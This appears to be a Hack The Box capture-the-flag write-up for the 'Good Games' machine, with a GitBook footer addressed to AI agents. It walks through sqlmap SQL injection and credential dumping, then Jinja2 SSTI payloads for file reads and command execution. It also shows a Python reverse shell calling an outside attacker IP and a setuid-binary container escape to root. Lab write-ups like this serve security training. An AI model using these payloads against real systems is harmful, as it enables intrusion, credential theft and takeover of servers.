> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-good-games.md). # HTB - Good Games ## Enumeration and Foothold ### NMAP ``` PORT STATE SERVICE VERSION 80/tcp open http Werkzeug httpd 2.0.2 (Python 3.9.2) ``` ### HTTP Browsing to port 80 reveals a web application for Gaming Platform

Everything on the application is static. Clicking on the store leads to a subscribe option

nothing happens while subscribing that said i will enumerate the hidden directories.

There is a login and a signup page.

Browsing to the directory doesn’t work

Bu the login page is accessible by the small user icon on the top. First thing first i will test the application for SQL injection if not vulnerable i will register an account and investigate further.

i am gonna use the sqlmap to automate this process

sqlmap confirms email parameter is injectable by boolean based blind injection. ### SQL Injection via SqlMap

there are two databases i will use main.

main has three tables user table is interesting

next i am gonna dump the users table ```bash ──(ajay㉿kali)-[~] └─$ sqlmap -r reques --batch --level 3 --risk 2 --dbs -p email -D main -T user --dump ```

Found the admin user password hash crack station cracked the password

Now i can use the admin credentials to login.

Clicking on settings leaked internal domain name

add it to hosts file. Once added request the settings again. it got redirected to a login page.

the credentials for admin user works

Updating the settings page and sending it sends the below request

once updated the name field is being reflected

that said i can try for possible injection attacks. As the application is running flask and running a python server SSTI is a common exploit here. ## SSTI sending payload : ``` ${{<%[%'"}}%\. ```

Results in internal error possible sign for SSTI that said lets enumerate the template being used though it commonly uses Jinja2 I want to confirm manually.

Courtesy : Hackthebox CPTS learning Path

next payload to try : {{7\*7}}

confirmed SSTI and to confirm template next payload to use : {{7\*'7'}}

The result will enable us to deduce the template engine used by the web application. In Jinja, the result will be `7777777`, while in Twig, the result will be `49`. Hence the Template is Jinja confimed. Jinja is a template engine commonly used in Python web frameworks such as `Flask` or `Django`. This section will focus on a `Flask` web application. The payloads in other web frameworks might thus be slightly different. ### SSTI - Jinja2 We can use Python's built-in function `open` to include a local file. However, we cannot call the function directly; we need to call it from the `__builtins__` dictionary we dumped earlier. This results in the following payload to include the file `/etc/passwd`: ``` {{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }} ```

That said i am gonna use it to get RCE. To achieve remote code execution in Python, we can use functions provided by the `os` library, such as `system` or `popen`. However, if the web application has not already imported this library, we must first import it by calling the built-in function `import`. This results in the following SSTI payload: ``` {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ```

Changing the command from id to ls displays the files

it is running as root. that said i can straight away got to get shell access ``` {{ self.__init__.__globals__.__builtins__.__import__('os').popen('python3 -c \'import socket,os,pty;s=socket.socket();s.connect(("10.10.14.49",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")\'').read() }} ```

looking at the shell it is a docker environment so wee need to escape the docker.

Stabilise the shell ```bash root@3a453ab39d3d:/home/augustus# python3 -c 'import pty; pty.spawn("/bin/bash")'

``` root@3a453ab39d3d:~# forfor i in $(seq 1 254); do (ping -c 1 -W 1 172.19.0.$i &> /dev/null && echo "172.19.0.$i is up") & done 2>/dev/null; wait 2>/dev/null ev/null && echo "172.19.0.$i is up") & done 2>/dev/null; wait 2>/dev/null 172.19.0.2 is up 172.19.0.1 is up root@3a453ab39d3d:~# ``` ``` root@3a453ab39d3d:~# forfor p in 21 22 80 443 3306 8080; do (echo > /dev/tcp/172.19.0.1/$p) &>/dev/null && echo "172.19.0.1:$p open"; done .0.1/$p) &>/dev/null && echo "172.19.0.1:$p open"; done2.19. 172.19.0.1:22 open 172.19.0.1:80 open ``` SSH is open. also running mount showed that `/home/augustus` directory was mounted from the host system.

That said i already have admin creds attempting to password reuse got access as augustus. we saw `/home/augustus` inside the container. That’s weird, let’s get back to the container and see if `augustus` is actually user: ``` root@3a453ab39d3d:/backend# grep sh$ /etc/passwd root:x:0:0:root:/root:/bin/bash root@3a453ab39d3d:/backend# grep augustus /etc/passwd ``` It is not, the only user inside the container is `root`. Hence, the container has a volume mount from the host machine (i.e. `/home/augustus`). ### Shell as Augustus

Since `/home/augustus` is the same physical filesystem on both sides (bind mount), and you're root in the container, you can copy `bash`, set the setuid bit as root (which only root can do), and then execute it as `augustus` on the host to get a root-owned shell via the setuid bit. ```bash cat << 'EOF' > /home/augustus/root.c #include #include #include int main(void) { setuid(0); setgid(0); execl("/bin/bash", "bash", "-p", NULL); return 0; } EOF ``` ``` gcc -o /home/augustus/rootexploit /home/augustus/root.c ``` ### Shell as Root on container: ``` chown root:root /home/augustus/rootexploit chmod +s /home/augustus/rootexploit ``` ``` Augustus@GoodGames:~$ ./rootexploit ./rootexploit ./rootexploit root@GoodGames:~# id id id uid=0(root) gid=0(root) groups=0(root),1000(augustus) root@GoodGames:~# cd /root cd /root cd /root root@GoodGames:/root# ls ls ls root.txt root@GoodGames:/root# cat root.txt cat root.txt cat root.txt 8f3af23d7444685774329ced01cdb1c4 root@GoodGames:/root# ``` There were error in copying the /bin/bash mainly the library errors using the c exploit it worked. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box/htb-good-games.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.